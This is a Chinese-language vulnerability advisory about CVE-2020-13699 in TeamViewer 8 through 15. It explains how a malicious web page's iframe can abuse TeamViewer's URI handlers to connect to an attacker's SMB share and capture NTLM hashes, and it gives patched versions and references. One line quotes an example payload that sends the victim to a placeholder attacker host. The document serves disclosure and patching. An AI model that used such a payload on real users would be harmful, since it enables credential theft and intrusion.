CVE-2020-13699 | TeamViewer安全漏洞通告

发布时间 2020-08-09

0x00 漏洞概述


CVE   ID
CVE-2020-13699
时    间
2020-08-09
类    型

等    级
高危
远程利用

影响范围
TeamViewer 8,9, 10,11,12,13,14,15版本

0x01 漏洞详情




近日,TeamViewer发布安全公告,修复了一个漏洞(CVE-2020-13699)。该漏洞源于程序无法正确引用其自定义URI处理程序,导致攻击者可起动TeamViewer并执行任意代码或获得密码哈希。

要利用该漏洞,用户需要浏览到一个恶意页面,该恶意页面会在其Web浏览器中加载iframe。攻击者会将iframe的src 属性设置为

'teamviewer10:--play \\ attacker-IP \ share \ fake.tvs'



此命令表示本地安装的TeamViewer应用程序通过服务器消息块(SMB)协议连接到攻击者的服务器。 攻击者使用精心制作的URL将恶意iframe嵌入网站中,该URL 会启动TeamViewer Windows桌面客户端并迫使其打开远程SMB共享。

由于是受害者的计算机发起与攻击者的SMB共享连接,因此攻击者不需要知道用户的密码,可自动通过身份验证并获得访问权限。

研究人员表示:“Windows在打开SMB共享时将执行NTLM身份验证,并且可以转发该请求以执行代码。”这会影响URI处理程序teamviewer10、teamviewer8、teamviewerapi、tvchat1、tvcontrol1、tvfiletransfer1、tvjoinv8、tvpresent1、tvsendfile1、tvsqcustomer1、tvsqsupport1、tvvideocall1和tvvpn1。


0x02 处置建议


目前厂商已发布补丁,Windows的TeamViewer用户应考虑升级到新的程序版本,其中包括:8.0.258861、9.0.28860、10.0.258873、11.0.258870、12.0.258869、13.2.36220、14.2.56676、14.7.48350、15.8.3。下载链接:

https://www.teamviewer.cn/cn/download/windows/


0x03 相关新闻


https://www.bleepingcomputer.com/news/security/teamviewer-fixes-bug-that-lets-attackers-access-your-pc/


0x04 参考链接


https://community.teamviewer.com/t5/Announcements/Statement-on-CVE-2020-13699/td-p/98448


0x05 时间线


2020-08-09 VSRC发布漏洞通告